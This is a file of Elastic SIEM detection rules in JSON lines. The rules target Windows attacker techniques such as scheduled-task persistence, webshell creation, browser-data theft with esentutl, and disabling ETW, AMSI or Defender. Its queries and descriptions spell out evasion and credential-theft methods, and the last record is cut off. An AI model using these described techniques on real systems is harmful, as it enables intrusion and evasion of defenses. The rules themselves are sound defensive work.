{"description":"Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered Author: Syed Hasan (@syedhasan009). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1ac40a58-c801-f990-7491-c3ac4891524b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"New TaskCache Entry","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Schedule\\\\TaskCache\\\\Tree\\\\*) AND (NOT ((winlog.event_data.TargetObject:(*Microsoft\\\\Windows\\\\UpdateOrchestrator* OR *Microsoft\\\\Windows\\\\SoftwareProtectionPlatform\\\\SvcRestartTask\\\\Index* OR *Microsoft\\\\Windows\\\\Flighting\\\\OneSettings\\\\RefreshCache\\\\Index*)) OR (process.executable:\"C\\:\\\\WINDOWS\\\\system32\\\\svchost.exe\" AND winlog.event_data.TargetObject:(*Microsoft\\\\Windows\\\\WindowsUpdate\\\\Scheduled\\ Start\\\\Index* OR *Microsoft\\\\Windows\\\\PushToInstall\\\\Registration\\\\Index* OR *Microsoft\\\\Windows\\\\GroupPolicy\\\\\\{*\\}\\\\Index* OR *\\\\TaskCache\\\\Tree\\\\Opera\\ scheduled\\ Autoupdate* OR *\\\\TaskCache\\\\Tree\\\\Opera\\ scheduled\\ assistant\\ Autoupdate* OR *\\\\TaskCache\\\\Tree\\\\OneDrive\\ Reporting* OR *\\\\TaskCache\\\\Tree\\\\OneDrive\\ Standalone\\ Update\\ Task* OR *\\\\TaskCache\\\\Tree\\\\Mozilla\\\\SD* OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Windows\\\\.NET\\ Framework\\\\.NET\\ Framework\\ * OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Office\\\\OfficeOsfInstaller\\\\* OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Office\\\\OfficeBackgroundTaskHandler* OR *\\\\TaskCache\\\\Tree\\\\GoogleUpdateTaskMachine* OR *\\\\TaskCache\\\\Tree\\\\DropboxUpdateTaskMachine* OR *\\\\TaskCache\\\\Tree\\\\Mozilla\\\\Firefox\\ Default\\ Browser\\ Agent\\ * OR *\\\\TaskCache\\\\Tree\\\\Mozilla\\\\Firefox\\ Background\\ Update\\ * OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Windows\\\\WOF\\\\WIM\\-Hash\\-Validation\\\\Index* OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Office\\\\SD* OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Office\\\\OfficeTelemetry* OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Office\\\\Office\\ ClickToRun\\ Service\\ Monitor\\\\* OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Office\\\\Office\\ Automatic\\ Updates\\ 2.0\\\\* OR *\\\\TaskCache\\\\Tree\\\\klcp_update\\\\* OR *\\\\TaskCache\\\\Tree\\\\Apple\\\\SD* OR *\\\\TaskCache\\\\Tree\\\\Apple\\\\AppleSoftwareUpdate\\\\* OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Windows\\\\Windows\\ Defender\\\\Windows\\ Defender\\ Verification\\\\* OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Windows\\\\Windows\\ Defender\\\\Windows\\ Defender\\ Cache\\ Maintenance\\\\* OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Windows\\\\Windows\\ Defender\\\\Windows\\ Defender\\ Cleanup\\\\* OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Windows\\\\Windows\\ Defender\\\\Windows\\ Defender\\ Scheduled\\ Scan\\\\*)))))","meta":{"from":"1m"},"severity":"medium","tags":["T1053","T1053"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""},{"id":"T1053","name":"Scheduled Task/Job","reference":""}]}],"version":1,"references":[""]}
{"description":"Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered Author: Syed Hasan (@syedhasan009). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1ac40a58-c801-f990-7491-c3ac4891524b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"New TaskCache Entry","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Schedule\\\\TaskCache\\\\Tree\\\\*) AND (NOT ((winlog.event_data.TargetObject:(*Microsoft\\\\Windows\\\\UpdateOrchestrator* OR *Microsoft\\\\Windows\\\\SoftwareProtectionPlatform\\\\SvcRestartTask\\\\Index* OR *Microsoft\\\\Windows\\\\Flighting\\\\OneSettings\\\\RefreshCache\\\\Index*)) OR (process.executable:\"C\\:\\\\WINDOWS\\\\system32\\\\svchost.exe\" AND winlog.event_data.TargetObject:(*Microsoft\\\\Windows\\\\WindowsUpdate\\\\Scheduled\\ Start\\\\Index* OR *Microsoft\\\\Windows\\\\PushToInstall\\\\Registration\\\\Index* OR *Microsoft\\\\Windows\\\\GroupPolicy\\\\\\{*\\}\\\\Index* OR *\\\\TaskCache\\\\Tree\\\\Opera\\ scheduled\\ Autoupdate* OR *\\\\TaskCache\\\\Tree\\\\Opera\\ scheduled\\ assistant\\ Autoupdate* OR *\\\\TaskCache\\\\Tree\\\\OneDrive\\ Reporting* OR *\\\\TaskCache\\\\Tree\\\\OneDrive\\ Standalone\\ Update\\ Task* OR *\\\\TaskCache\\\\Tree\\\\Mozilla\\\\SD* OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Windows\\\\.NET\\ Framework\\\\.NET\\ Framework\\ * OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Office\\\\OfficeOsfInstaller\\\\* OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Office\\\\OfficeBackgroundTaskHandler* OR *\\\\TaskCache\\\\Tree\\\\GoogleUpdateTaskMachine* OR *\\\\TaskCache\\\\Tree\\\\DropboxUpdateTaskMachine* OR *\\\\TaskCache\\\\Tree\\\\Mozilla\\\\Firefox\\ Default\\ Browser\\ Agent\\ * OR *\\\\TaskCache\\\\Tree\\\\Mozilla\\\\Firefox\\ Background\\ Update\\ * OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Windows\\\\WOF\\\\WIM\\-Hash\\-Validation\\\\Index* OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Office\\\\SD* OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Office\\\\OfficeTelemetry* OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Office\\\\Office\\ ClickToRun\\ Service\\ Monitor\\\\* OR *\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Office\\\\Office\\ Automatic\\ Updates\\ 2.0\\\\* OR *\\\\TaskCache\\\\Tree\\\\klcp_update\\\\* OR *\\\\TaskCache\\\\Tree\\\\Apple\\\\SD* OR *\\\\TaskCache\\\\Tree\\\\Apple\\\\AppleSoftwareUpdate\\\\*)))))","meta":{"from":"1m"},"severity":"medium","tags":["T1053","T1053"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""},{"id":"T1053","name":"Scheduled Task/Job","reference":""}]}],"version":1,"references":[""]}
{"description":"Monitors for the hiding possible malicious files in the C:\\Windows\\Fonts\\ location. This folder doesn't require admin privillege to be written and executed from. Author: Sreeman. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ae9b0bd7-8888-4606-b444-0ed7410cb728","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Writing Of Malicious Files To The Fonts Folder","query":"process.command_line:/(?i).*(echo|copy|type|file createnew|cacls).*C:\\\\\\\\Windows\\\\\\\\Fonts\\\\\\\\.*(.sh|.exe|.dll|.bin|.bat|.cmd|.js|.msh|.reg|.scr|.ps|.vb|.jar|.pl|.inf|.cpl|.hta|.msi|.vbs).*/","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1059","T1211"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1211","name":"Exploitation for Defense Evasion","reference":""}]}],"version":1,"references":[""]}
{"description":"Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. Author: Timur Zinniatullin, oscd.community. License: ","enabled":false,"false_positives":["Admin activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ba1f7802-adc7-48b4-9ecb-81e227fddfd5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Network Sniffing","query":"((process.executable:*\\\\tshark.exe AND process.command_line:*\\-i*) OR process.executable:*\\\\windump.exe)","meta":{"from":"1m"},"severity":"low","tags":["Credential Access","T1040"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1040","name":"Network Sniffing","reference":""}]},{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1040","name":"Network Sniffing","reference":""}]}],"version":1,"references":[""]}
{"description":"Once established within a system or network, an adversary may use automated techniques for collecting internal data. Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5ce97677-3375-e1d0-870b-3e917eed3788","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Automated Collection Command Prompt","query":"(process.command_line:(*.doc* OR *.docx* OR *.xls* OR *.xlsx* OR *.ppt* OR *.pptx* OR *.rtf* OR *.pdf* OR *.txt*) AND ((process.command_line:*dir\\ * AND process.command_line:*\\ \\/b\\ * AND process.command_line:*\\ \\/s\\ *) OR (winlog.event_data.OriginalFileName:\"FINDSTR.EXE\" AND process.command_line:(*\\ \\/e\\ * OR *\\ \\/si\\ *))))","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1119","T1552"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1552","name":"Unsecured Credentials","reference":""}]},{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1119","name":"Automated Collection","reference":""}]}],"version":1,"references":[""]}
{"description":"Once established within a system or network, an adversary may use automated techniques for collecting internal data. Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"aa2efee7-34dd-446e-8a37-40790a66efd7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Recon Information for Export with Command Prompt","query":"(process.executable:(*\\\\tree.com OR *\\\\WMIC.exe OR *\\\\doskey.exe OR *\\\\sc.exe) AND process.parent.command_line:*\\ >\\ %TEMP%\\\\*)","meta":{"from":"1m"},"severity":"medium","tags":["T1119"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1119","name":"Automated Collection","reference":""}]}],"version":1,"references":[""]}
{"description":"Once executed, colorcpl.exe will copy the arbitrary file to c:\\windows\\system32\\spool\\drivers\\color\\ Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c510c459-1b6c-7fba-61f4-a182b017fa01","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Creation with Colorcpl","query":"(process.executable:*\\\\colorcpl.exe AND (NOT (file.path:(*.icm OR *.gmmp OR *.cdmp OR *.camp))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1564"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1564","name":"Hide Artifacts","reference":""}]}],"version":1,"references":[""]}
{"description":"One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe Author: frack113. License: ","enabled":false,"false_positives":["legitimate use"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0b2d116f-873d-3966-42df-ef874fb4e33d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Esentutl Steals Browser Information","query":"(process.executable:*\\\\esentutl.exe AND process.command_line:*\\/r\\ * AND process.command_line:*\\\\Windows\\\\WebCache*)","meta":{"from":"1m"},"severity":"medium","tags":["T1005"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1005","name":"Data from Local System","reference":""}]}],"version":1,"references":[""]}
{"description":"Payloads may be compressed, archived, or encrypted in order to avoid detection Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1a70042a-6622-4a2b-8958-267625349abf","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Run from a Zip File","query":"process.executable:*.zip\\\\*","meta":{"from":"1m"},"severity":"medium","tags":["T1485"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1485","name":"Data Destruction","reference":""}]}],"version":1,"references":[""]}
{"description":"Performs execution of specified file, can be used as a defensive evasion. Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5edc2273-c26f-406c-83f3-f4d948e740dd","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Subsystem for Linux Bash Execution","query":"(process.command_line:*bash.exe* AND process.command_line:*\\-c\\ *)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1202"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1202","name":"Indirect Command Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Possible webshell file creation on a static web site Author: Beyu Denis, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administrator or developer creating legitimate executable files in a web application folder"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9b47149f-d7f7-8bfd-d74d-229031625e51","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Windows Webshell Creation","query":"((((file.path:*\\\\inetpub\\\\wwwroot\\\\* AND file.path:(*.asp* OR *.ashx* OR *.ph*)) AND (NOT (file.path:(*\\\\AppData\\\\Local\\\\Temp\\\\* OR *\\\\Windows\\\\Temp\\\\*)))) OR ((file.path:(*\\\\www\\\\* OR *\\\\htdocs\\\\* OR *\\\\html\\\\*) AND file.path:*.ph*) AND (NOT (file.path:(*\\\\AppData\\\\Local\\\\Temp\\\\* OR *\\\\Windows\\\\Temp\\\\*))))) OR ((file.path:*.jsp OR (file.path:*\\\\cgi\\-bin\\\\* AND file.path:*.pl*)) AND (NOT (file.path:(*\\\\AppData\\\\Local\\\\Temp\\\\* OR *\\\\Windows\\\\Temp\\\\*)))))","meta":{"from":"1m"},"severity":"critical","tags":["T1505"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1505","name":"Server Software Component","reference":""}]}],"version":1,"references":[""]}
{"description":"Potential adversaries stopping ETW providers recording loaded .NET assemblies. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2cf5f841-a6a1-1215-ff12-5151094608b6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"COMPlus_ETWEnabled Registry Modification","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*SOFTWARE\\\\Microsoft\\\\.NETFramework\\\\ETWEnabled AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Potential adversaries stopping ETW providers recording loaded .NET assemblies. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2495c98d-b6f0-18d2-91b7-04356f08078c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"COMPlus_ETWEnabled Command Line Arguments","query":"process.command_line:*COMPlus_ETWEnabled\\=0*","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation. In it's default mode, it builds a self deleting .bat file which executes malicious command. The detection rule relies on creation of the malicious bat file (debug.bat by default). Author: Subhash Popuri (@pbssubhash). License: ","enabled":false,"false_positives":["Pentest","Any powershell script that creates bat files"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"aec159f6-1337-e4f2-22a5-19c79615ba6a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Powerup Write Hijack DLL","query":"(process.executable:*\\\\powershell.exe AND file.path:*.bat)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Qbot used reg.exe to add Defender folder exceptions for folders within AppData and ProgramData. Author: frack113. License: ","enabled":false,"false_positives":["legitimate use"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c79c878e-d139-cbb8-2b1b-ef58431cf791","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Registry Defender Exclusions","query":"(process.executable:*\\\\reg.exe AND process.command_line:(*HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ Defender\\\\Exclusions\\\\Paths\\\\* OR *HKLM\\\\SOFTWARE\\\\Microsoft\\\\Microsoft\\ Antimalware\\\\Exclusions\\\\Paths*) AND process.command_line:*ADD\\ * AND process.command_line:*\\/t\\ * AND process.command_line:*REG_DWORD\\ * AND process.command_line:*\\/v\\ * AND process.command_line:*\\/d\\ * AND process.command_line:*0*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Ransomware create txt file in the user Desktop Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d1ff74c3-f698-7a9d-953a-8abb3176e249","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Creation TXT File in User Desktop","query":"(process.executable:*\\\\cmd.exe AND file.path:*\\\\Users\\\\* AND file.path:*\\\\Desktop\\\\* AND file.path:*.txt)","meta":{"from":"1m"},"severity":"high","tags":["T1486"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1486","name":"Data Encrypted for Impact","reference":""}]}],"version":1,"references":[""]}
{"description":"Remote desktop is a common feature in operating systems.\nIt allows a user to log into an interactive session with a system desktop graphical user interface on a remote system.\nMicrosoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).\n Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"476d28b7-c17a-0dd9-7c27-60b7befbf73e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Changing RDP Port to Non Standard Number","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Terminal\\ Server\\\\WinStations\\\\RDP\\-Tcp\\\\PortNumber\") AND (NOT (winlog.event_data.Details:\"DWORD\\ \$0x00000d3d\$\")))","meta":{"from":"1m"},"severity":"high","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339). Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a6fc3c46-23b8-4996-9ea2-573f4c4d88c5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Abusable Invoke-ATHRemoteFXvGPUDisablementCommand","query":"(process.command_line:*Invoke\\-ATHRemoteFXvGPUDisablementCommand\\ * AND process.command_line:(*\\-ModuleName\\ * OR *\\-ModulePath\\ * OR *\\-ScriptBlock\\ * OR *\\-RemoteFXvGPUDisablementFilePath*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Remove the AMSI Provider registry key in HKLM\\Software\\Microsoft\\AMSI to disable AMSI inspection Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6ffb8e9d-aa1b-6618-0deb-5200df3e22df","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Removal Amsi Provider Reg Key","query":"(winlog.event_data.EventType:\"DeleteKey\" AND winlog.event_data.TargetObject:(*\\{2781761E\\-28E0\\-4109\\-99FE\\-B9D127C57AFE\\} OR *\\{A7C452EF\\-8E9F\\-42EB\\-9F2B\\-245613CA0DC9\\}))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Rename as a legitim Sysinternals Suite tools to evade detection Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7cce6fc8-a07f-4d84-a53e-96e1879843c9","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"False Sysinternals Suite Tools","query":"(process.executable:(*\\\\accesschk.exe OR *\\\\accesschk64.exe OR *\\\\AccessEnum.exe OR *\\\\ADExplorer.exe OR *\\\\ADExplorer64.exe OR *\\\\ADInsight.exe OR *\\\\ADInsight64.exe OR *\\\\adrestore.exe OR *\\\\adrestore64.exe OR *\\\\Autologon.exe OR *\\\\Autologon64.exe OR *\\\\Autoruns.exe OR *\\\\Autoruns64.exe OR *\\\\autorunsc.exe OR *\\\\autorunsc64.exe OR *\\\\Bginfo.exe OR *\\\\Bginfo64.exe OR *\\\\Cacheset.exe OR *\\\\Cacheset64.exe OR *\\\\Clockres.exe OR *\\\\Clockres64.exe OR *\\\\Contig.exe OR *\\\\Contig64.exe OR *\\\\Coreinfo.exe OR *\\\\Coreinfo64.exe OR *\\\\CPUSTRES.EXE OR *\\\\CPUSTRES64.EXE OR *\\\\ctrl2cap.exe OR *\\\\Dbgview.exe OR *\\\\dbgview64.exe OR *\\\\Desktops.exe OR *\\\\Desktops64.exe OR *\\\\disk2vhd.exe OR *\\\\disk2vhd64.exe OR *\\\\diskext.exe OR *\\\\diskext64.exe OR *\\\\Diskmon.exe OR *\\\\Diskmon64.exe OR *\\\\DiskView.exe OR *\\\\DiskView64.exe OR *\\\\du.exe OR *\\\\du64.exe OR *\\\\efsdump.exe OR *\\\\FindLinks.exe OR *\\\\FindLinks64.exe OR *\\\\handle.exe OR *\\\\handle64.exe OR *\\\\hex2dec.exe OR *\\\\hex2dec64.exe OR *\\\\junction.exe OR *\\\\junction64.exe OR *\\\\ldmdump.exe OR *\\\\listdlls.exe OR *\\\\listdlls64.exe OR *\\\\livekd.exe OR *\\\\livekd64.exe OR *\\\\loadOrd.exe OR *\\\\loadOrd64.exe OR *\\\\loadOrdC.exe OR *\\\\loadOrdC64.exe OR *\\\\logonsessions.exe OR *\\\\logonsessions64.exe OR *\\\\movefile.exe OR *\\\\movefile64.exe OR *\\\\notmyfault.exe OR *\\\\notmyfault64.exe OR *\\\\notmyfaultc.exe OR *\\\\notmyfaultc64.exe OR *\\\\ntfsinfo.exe OR *\\\\ntfsinfo64.exe OR *\\\\pendmoves.exe OR *\\\\pendmoves64.exe OR *\\\\pipelist.exe OR *\\\\pipelist64.exe OR *\\\\portmon.exe OR *\\\\procdump.exe OR *\\\\procdump64.exe OR *\\\\procexp.exe OR *\\\\procexp64.exe OR *\\\\Procmon.exe OR *\\\\Procmon64.exe OR *\\\\psExec.exe OR *\\\\psExec64.exe OR *\\\\psfile.exe OR *\\\\psfile64.exe OR *\\\\psGetsid.exe OR *\\\\psGetsid64.exe OR *\\\\psInfo.exe OR *\\\\psInfo64.exe OR *\\\\pskill.exe OR *\\\\pskill64.exe OR *\\\\pslist.exe OR *\\\\pslist64.exe OR *\\\\psLoggedon.exe OR *\\\\psLoggedon64.exe OR *\\\\psloglist.exe OR *\\\\psloglist64.exe OR *\\\\pspasswd.exe OR *\\\\pspasswd64.exe OR *\\\\psping.exe OR *\\\\psping64.exe OR *\\\\psService.exe OR *\\\\psService64.exe OR *\\\\psshutdown.exe OR *\\\\psshutdown64.exe OR *\\\\pssuspend.exe OR *\\\\pssuspend64.exe OR *\\\\RAMMap.exe OR *\\\\RDCMan.exe OR *\\\\RegDelNull.exe OR *\\\\RegDelNull64.exe OR *\\\\regjump.exe OR *\\\\ru.exe OR *\\\\ru64.exe OR *\\\\sdelete.exe OR *\\\\sdelete64.exe OR *\\\\ShareEnum.exe OR *\\\\ShareEnum64.exe OR *\\\\shellRunas.exe OR *\\\\sigcheck.exe OR *\\\\sigcheck64.exe OR *\\\\streams.exe OR *\\\\streams64.exe OR *\\\\strings.exe OR *\\\\strings64.exe OR *\\\\sync.exe OR *\\\\sync64.exe OR *\\\\Sysmon.exe OR *\\\\Sysmon64.exe OR *\\\\tcpvcon.exe OR *\\\\tcpvcon64.exe OR *\\\\tcpview.exe OR *\\\\tcpview64.exe OR *\\\\Testlimit.exe OR *\\\\Testlimit64.exe OR *\\\\vmmap.exe OR *\\\\vmmap64.exe OR *\\\\Volumeid.exe OR *\\\\Volumeid64.exe OR *\\\\whois.exe OR *\\\\whois64.exe OR *\\\\Winobj.exe OR *\\\\Winobj64.exe OR *\\\\ZoomIt.exe OR *\\\\ZoomIt64.exe) AND (NOT ((Company:(\"Sysinternals\\ \\-\\ www.sysinternals.com\" OR \"Sysinternals\")) OR (NOT _exists_:Company))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1202","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1202","name":"Indirect Command Execution","reference":""},{"id":"T1218","name":"Signed Binary Proxy 